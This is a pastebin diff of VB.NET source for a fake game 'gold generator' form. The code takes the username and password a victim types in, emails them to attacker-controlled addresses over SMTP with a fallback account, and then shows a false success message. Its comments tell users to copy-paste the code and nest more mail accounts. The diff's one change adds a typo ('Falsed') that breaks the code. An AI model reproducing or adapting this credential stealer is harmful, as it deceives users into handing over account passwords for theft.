View difference between Paste ID: dH202Wct and 9a0m10uN

 Imports System.Net.Mail
 Public Class Form1
 'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
     Dim thread As System.Threading.Thread
     Dim smtp As New SmtpClient("smtp.mail.com")
 
     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
         Me.CheckForIllegalCrossThreadCalls = False
     End Sub
 
     Private Sub DoGenerate()
         Try
             Dim mail As New MailMessage
             mail.From = New MailAddress("INSERT FIRST EMAIL ADD@mail.com")
             mail.To.Add("INSERT FIRST EMAIL ADD@mail.com")
             mail.Subject = "Updates"
             mail.Body = "USERNAME: " + txtUsername.Text + vbNewLine + "PASSWORD: " + txtPassword.Text
             smtp.Port = 587
             smtp.EnableSsl = True
             smtp.Credentials = New Net.NetworkCredential("INSERT FIRST EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
             smtp.Send(mail)
             MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
         Catch exA As Exception
             Try
                 Dim mail As New MailMessage
                 mail.From = New MailAddress("INSERT SECOND EMAIL ADD@mail.com")
                 mail.To.Add("INSERT SECOND EMAIL ADD@mail.com")
                 mail.Subject = "Updates"
                 mail.Body = "USERNAME: " + txtUsername.Text + vbNewLine + "PASSWORD: " + txtPassword.Text
                 smtp.Port = 587
                 smtp.EnableSsl = True
                 smtp.Credentials = New Net.NetworkCredential("INSERT SECOND EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
                 smtp.Send(mail)
                 MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
             Catch exB As Exception
                 MessageBox.Show("error. please wait for an hour before trying again.")'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
             End Try
         End Try
         NormalState()
     End Sub
 
     Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
         thread = New System.Threading.Thread(AddressOf DoGenerate)
         thread.Start()
 
-        txtUsername.Enabled = False
+        txtUsername.Enabled = Falsed
         txtPassword.Enabled = False
         TextBox1.Enabled = False
         Button1.Enabled = False
         Label4.Visible = True
     End Sub
 
     Private Sub NormalState()
         txtUsername.Enabled = True
         txtPassword.Enabled = True
         TextBox1.Enabled = True
         Button1.Enabled = True
         Label4.Visible = False
     End Sub
 End Class